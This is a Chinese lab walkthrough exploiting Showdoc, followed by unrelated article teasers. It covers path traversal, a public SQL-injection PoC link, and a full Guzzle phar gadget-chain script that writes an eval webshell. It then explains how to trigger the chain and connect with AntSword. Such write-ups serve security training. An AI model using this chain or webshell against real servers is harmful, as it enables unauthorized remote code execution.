漏洞复现 | Showdoc反序列化

news2024/12/22 23:53:46

非常简单的一个靶场

靶场地址:https://hack.zkaq.cn/

打开靶场,弹出了这种登录框,这也成为了后面的一个坑点,记住这个登录框。
 

图片


 

图片


看到了注册功能,showdoc有注册功能我们就不用尝试前台SQL注入了,直接注册就行(题目中的SQL注入多少有点滑稽..)。如果平时遇到了showdoc没有注册功能的,师傅们可以用p牛大佬的注入exp
https://github.com/vulhub/vulhub/blob/master/showdoc/3.2.5-sqli/poc.py
接着打靶,登录后台,来到文件库

图片


 

图片


尝试直接读取flag
/server/index.php?s=/../../../../flag.txt
直接爆出了绝对路径

图片


拿我们开始准备生成Phar的脚本,exp.php:

 
  1. <?php

  2. namespace GuzzleHttp\Cookie{

  3.   class SetCookie {

  4.     private static $defaults = [

  5.        'Name' => null,

  6.        'Value' => null,

  7.        'Domain' => null,

  8.        'Path' => '/',

  9.        'Max-Age' => null,

  10.        'Expires' => null,

  11.        'Secure' => false,

  12.        'Discard' => false,

  13.        'HttpOnly' => false

  14.     ];

  15.     function __construct()

  16. {

  17.       $this->data['Expires'] = '<?php @eval($_POST["cmd"]);?>';

  18.       $this->data['Discard'] = 0;

  19.    }  

  20.  }

  21.  class CookieJar{

  22.     private $cookies = [];

  23.     private $strictMode;

  24.     function __construct() {

  25.       $this->cookies[] = new SetCookie();

  26.    }

  27.  }

  28.  class FileCookieJar extends CookieJar {

  29.     private $filename;

  30.     private $storeSessionCookies;

  31.     function __construct() {

  32.        parent::__construct();

  33.        $this->filename = "/var/www/html/server/3.php";

  34.        $this->storeSessionCookies = true;

  35.     }

  36.   }

  37. }

  38. namespace{

  39.   $pop = new \GuzzleHttp\Cookie\FileCookieJar();

  40.   $phar = new \Phar("flag.phar");

  41.   $phar->startBuffering();

  42.   $phar->setStub('GIF89a'."__HALT_COMPILER();");

  43.   $phar->setMetadata($pop);

  44.   $phar->addFromString("test.txt", "test");

  45.   $phar->stopBuffering();

  46. }

本地启动phpstudy,把exp.php在本地环境运行

图片


成功生成flag.php
 

图片


注意:
1.制作phar包时需要修改php.ini文件如下:

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
; http://php.net/phar.require-hash
phar.require_hash = On
phar.cache_list =

图片


然后把flag.phar文件改名为flah.png,会有文件上传检测
上传后,点击查看获取到文件路径

图片

图片


然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../获取到的文件路径
触发phar反序列化

图片


成功触发页面是空白,然后访问我们写入马子的位置

图片


成功写入木马,但是这里有些人可能会连不上木马,像这样爆红

图片


原因就是最开始的访问网页的认证登录框,我们重新开一个浏览器对比一下登录和没有登录区别。
没有登录

图片


登录成功

图片


区别就是登录成功后带上了Authorization,所以我们在蚁剑中添加上这样的请求头,即可成功连接
 

图片


获取flag

免  /   费  /   资  /  料:    zkaq222

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1928218.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

—张pdf怎么分割成多页,怎么把一个pdf分割

在数字化时代&#xff0c;pdf文件已经成为我们工作和生活中不可或缺的一部分。然而&#xff0c;有时候我们可能会遇到需要将一张pdf文件分割成多页的情况。无论是为了便于分享&#xff0c;还是为了满足特定的文档格式要求&#xff0c;这个任务都可能变得相当棘手。但别担心&…

python数据可视化(5)——绘制饼图

课程学习来源&#xff1a;b站up&#xff1a;【蚂蚁学python】 【课程链接&#xff1a;【【数据可视化】Python数据图表可视化入门到实战】】 【课程资料链接&#xff1a;【链接】】 Python绘制饼图分析北京天气 饼图&#xff0c;是一个划分为几个扇形的圆形统计图表&#xff…

深入解析Spring Cloud:构建分布式微服务架构的最佳实践

导语&#xff1a;随着互联网业务的快速发展&#xff0c;传统的单体应用已无法满足高并发、高可用、可扩展的需求。微服务架构以其轻量级、独立性、灵活性的特点&#xff0c;逐渐成为大型分布式系统的首选架构。Spring Cloud作为构建微服务架构的重要框架&#xff0c;为开发者提…

ElementUI el-select 组件动态设置disabled后,高度变更的问题解决办法

问题描述 Vue2 项目在使用 el-select 组件时&#xff0c;动态将disabled变更为了 true&#xff0c;元素的高度发生了变化。 问题原因 通过浏览器开发人员工具面板&#xff0c;发现&#xff0c;组件内的 input 元素被动态设置了height的样式&#xff1a; 在项目中检查后并…

利用MODBUS协议读取温湿度传感器的时间

因为项目需求&#xff0c;需要使用RS485接口的温湿度传感器&#xff0c;简单的记录一下。 我选用的传感器是冀欧速传感器&#xff0c;它的产品采用的是MODBUS协议。MODBUS是一个非常老的协议&#xff0c;1979年成为事实上的国际标准&#xff0c;目前有个国际组织进行维护&…

第七天 SpringBoot与SpringCloud微服务项目交付

Spring Cloud微服务项目交付 微服务扫盲篇 微服务并没有一个官方的定义&#xff0c;想要直接描述微服务比较困难&#xff0c;我们可以通过对比传统WEB应用&#xff0c;来理解什么是微服务。 单体应用架构 如下是传统打车软件架构图&#xff1a; 这种单体应用比较适合于小项…

纯css实现语音播报动画效果

先来看看效果图 黑色以下代码 background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGAAAAAYCAYAAAAF6fiUAAAAAXNSR0IArs4c6QAAAARzQklUCAgICHwIZIgAAAO8SURBVGiB1ZlPaBxVHMe/v7fbkmUZErRs9/1moUtYBBfxklZR8aYg5KAgvcT25MFDvUhPTaGnHoKIlOpJ0VsPUvAgKNjSS0EPAVGKya…

AI安全系列——[第五空间 2022]AI(持续更新)

最近很长时间没有更新&#xff0c;其实一直在学习AI安全&#xff0c;我原以为学完深度学习之后再学AI安全会更加简单些&#xff0c;但是事实证明理论转实践还是挺困难的&#xff0c;但是请你一定要坚持下去&#xff0c;因为“不是所有的坚持都有结果&#xff0c;但总有一些坚持…

处理在 electron 中使用开启了懒加载的 el-image 后,窗口最大化或窗口尺寸变化后图片无法显示的问题

文章目录 1、问题描述2、详情动图3、解决思路4、解决方案5、效果展示 1、问题描述 在 electron 中使用 el-image 时&#xff0c;开启了懒加载后&#xff0c;发现只有当窗口滚动后&#xff0c;图片才会显示&#xff0c;即便图片已经处于窗口的可视区域。当拖动窗口使其尺寸变大…

CentOS配置时钟服务

一、ntp协议 1.1 基础 NTP&#xff08;Network Time Protocol&#xff0c;网络时间协议&#xff09;是用于同步计算机网络中各个设备时间的协议。 下面了解一下 ntp 的配置选项 1.) iburst 功能: 通过发送一组八个数据包来加速初始同步。 用法: server 0.pool.ntp.org i…

设计模式学习(二)工厂模式——抽象工厂模式+注册表

设计模式学习&#xff08;二&#xff09;工厂模式——抽象工厂模式注册表 前言使用简单工厂改进使用注册表改进参考文章 前言 在上一篇文章中我们提到了抽象工厂模式初版代码的一些缺点&#xff1a;①客户端违反开闭原则②提供方违反开闭原则。本文将针对这两点进行讨论 使用…

uniapp 微信小程序根据后端返回的文件链接打开并保存到手机文件夹中【支持doc、docx、txt、xlsx等类型的文件】!

项目场景&#xff1a; 我们在使用uniapp官方提供的uni.downloadFile以及uni.saveFile时&#xff0c;会发现这个文件下载的默认保存位置和我们预想的不太一样&#xff0c;容易找不到&#xff0c;而且没有提示&#xff0c;那么我们就需要把文件打开自己保存并且有提示保存到哪个…

python机器学习6-----图表函数库Matplotlib

1.Matplotlib介绍 Matplotlib是Python著名的绘图函数库&#xff0c;它提供了一整套图表的API&#xff0c;可以将数据绘制成图表&#xff0c;而且也可以方便地将它作为绘图控件&#xff0c;嵌入GUI应用程序中。Matplotlib是很大的Python库&#xff0c;而pyplot是Matplotlib中的一…

Day53:图论 岛屿数量 岛屿的最大面积

99. 岛屿数量 时间限制&#xff1a;1.000S 空间限制&#xff1a;256MB 题目描述 给定一个由 1&#xff08;陆地&#xff09;和 0&#xff08;水&#xff09;组成的矩阵&#xff0c;你需要计算岛屿的数量。岛屿由水平方向或垂直方向上相邻的陆地连接而成&#xff0c;并且四周…

MBTI答题应用小程序

源代码 calmthink/mbti小程序 (gitee.com) 实现方案 题目结构 [{"options": [{"result": "I","value": "独自工作","key": "A"},{"result": "E","value": "与他…

OpenCV开发笔记(七十八):在ubuntu上搭建opencv+python开发环境以及匹配识别Demo

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/140435870 长沙红胖子Qt&#xff08;长沙创微智科&#xff09;博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV…

神经网络替代密度泛函理论!清华研究组发布通用材料模型 DeepH,实现超精准预测

在材料设计中&#xff0c;了解其电子结构与性质是预测材料性能、发现新材料、优化材料性能的关键。过去&#xff0c;业界广泛使用密度泛函理论 (DFT) 来研究材料电子结构和性质&#xff0c;其实质是将电子密度作为分子&#xff08;原子&#xff09;基态中所有信息的载体&#x…

【C语言】全面解析冒泡排序

文章目录 什么是冒泡排序&#xff1f;冒泡排序的基本实现代码解释冒泡排序的优化冒泡排序的性能分析冒泡排序的实际应用结论 在C语言编程中&#xff0c;排序算法是一个非常基础且重要的概念。冒泡排序作为最简单、最易理解的排序算法之一&#xff0c;广泛应用于各种编程教学和实…

bash: ip: command not found

输入&#xff1a; ip addr 报错&#xff1a; bash: ip: command not found 报错解释&#xff1a; 这个错误表明在Docker容器中尝试执行ip addr命令时&#xff0c;找不到ip命令。这通常意味着iproute2包没有在容器的Linux发行版中安装或者没有正确地设置在容器的环境变量PA…

基于hive数据库的泰坦尼克号幸存者数据分析

进入 ./beeline -u jdbc:hive2://node2:10000 -n root -p 查询 SHOW TABLES; 删除 DROP TABLE IF EXISTS tidanic; 上传数据 hdfs dfs -put train.csv /user/hive/warehouse/mytrain.db/tidanic 《泰坦尼克号幸存者数据分析》 1、原始数据介绍 泰坦尼克号是当时世界上…